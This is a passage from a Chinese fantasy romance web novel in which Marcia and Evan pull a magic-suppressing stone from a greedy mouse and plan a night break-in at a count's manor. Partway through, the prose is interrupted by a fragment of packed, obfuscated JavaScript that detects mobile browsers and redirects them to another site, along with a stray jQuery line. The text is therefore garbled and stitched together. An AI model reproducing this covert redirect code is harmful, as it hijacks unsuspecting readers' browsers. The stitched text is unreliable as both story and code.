果然是一伙的。高塔会要抑魔石有什么用？她想潜进伯爵府一探究竟。不过，此刻伯爵府灯火通明，不是潜入的时候。 好在这儿离她自己的宅子也不远，先回去和埃文商量一下。 待到她回家，一推开公爵夫人的卧室，埃文竟然又在从力鼠西西嘴里抢东西，白色的光泽落入玛西亚的眼目，她顿时意识到这贪嘴又力大无穷的老鼠在吃什么。 于是，她三步并作两步，把手覆盖在埃文的手上，加入了与力鼠的拔河。 “西西……你快松开啊！”埃文咬牙切齿。 玛西亚使出了全身的力气，面目狰狞，身体后倾，把体重也压上去，和埃文一起使劲扯那条项链。 “它怎么连石头都要吃！这合理吗？”她一边用力，一边生疑。 “啪——砰——” 西西总算松了口，力道一撤，玛西亚和埃文重重摔倒。两人狼狈躺在地毯上，看着头顶的天花板与水晶灯，他们呼哧呼哧地喘着气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262161|162042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >刚刚用了太多的力气，玛西亚此刻有种瘫软式的愉悦，疲惫，但是全身都放松，轻飘飘的。 “抢，抢回来了，对吗？”她问。 “对。得把抑魔石收到安全的地方去。”他紧紧握着项链，想站起来，却见玛西亚的脸就在自己旁边。 埃文的目光闪烁，视线匆促地换了好几个落点。他发现自己很难不看玛西亚的眼睛，也很难一直看着她的眼睛。 心动。 这无疑是心动。 小说里都是这样写的，眼神越来越粘，然后两个人会像磁铁一样互相吸引，“啪嗒”一声扣在一起。 如果玛西亚真是他的恋人，他一定早张开双臂紧紧地抱住她了，然后小口小口地吻她，像小狗那样湿漉漉地吻她。 但是……不行！得赶快起来。他刚一动，玛西亚就发出吃痛的声音：“头发！等等，压到我头发了。” “抱歉，抱歉。”他停下来，僵硬地等待玛西亚指挥。 玛西亚把手铲到他的脖颈下面，弯曲手指，“好，现在抬头。” 埃文听话照做，她把头发从缝隙里抽出，率先起身，愣了愣，又伸出手拉他一把。 “我想，得查一下魔物图鉴，看看是哪里出了错。力鼠本来就吃石头么？这里面也许有什么缘故。” 两人离开卧室，去到书房。玛西亚把抑魔石锁到柜子里，然后摊开魔物图鉴，翻到力鼠的食谱。 小家伙看上去什么都吃，但是，菜单里绝对没有石头。 “甜食、油脂、果实……都是正常可食用的东西。”埃文突然想起了王宫里的人鱼壁画，说，“抑魔石会不会是海里的植物？比如，什么东西的种子？” 玛西亚想了想，觉得也有可能。那副壁画她当时没看真，人鱼手里捧出来的石头上门，有几笔绿色。 “时间久远，早就没人知道抑魔石是什么了。前魔法时代，人们对待魔法觉醒者的方式近乎迫害，估计也没留下什么记录。” 能被记录下来的残酷，都不是最残酷的。当历史告诉你某个时代的一群人过得很惨，那么真实情况一定更糟。 抑魔石的事暂放一边，当务之急是营救亚当。两人开始商量怎么潜入兰斯洛特伯爵府中。 “先是当街抢劫，然后入室盗窃。我们是法外鸳鸯，路易吉与爱丽丝。这个剧本怎么样？” “好极了，埃文，这正合我意。” 埃文点了下头，却不得不提醒玛西亚：“我只上了一节剑术课，尽量不拖你后腿。” “放心，我有办法。” 玛西亚指向魔物图鉴中的一页，“岩鳗，它可以在固体里钻行，我觉得是土魔法。发明魔法很难，但模仿就很简单了，我见过斯黛拉改变岩石密度。等夜深了，咱们去试试。” 埃文点头，又担心玛西亚接连熬夜，身体撑不住，劝说道：“可以先打个盹，过了十二点我叫你。” “好。” 玛西亚心想，埃文一直可靠又贴心，有他在的感觉很好。她何必骗自己？这个人不就是按自己的喜好挑选的么！ 只是，他是否也喜欢她…… 瞧瞧，地位高的女人喜欢上了地位低的男人，反而要自我检查，摈除仗势欺人的嫌疑。她动了动嘴唇，把想问的话咽了下去。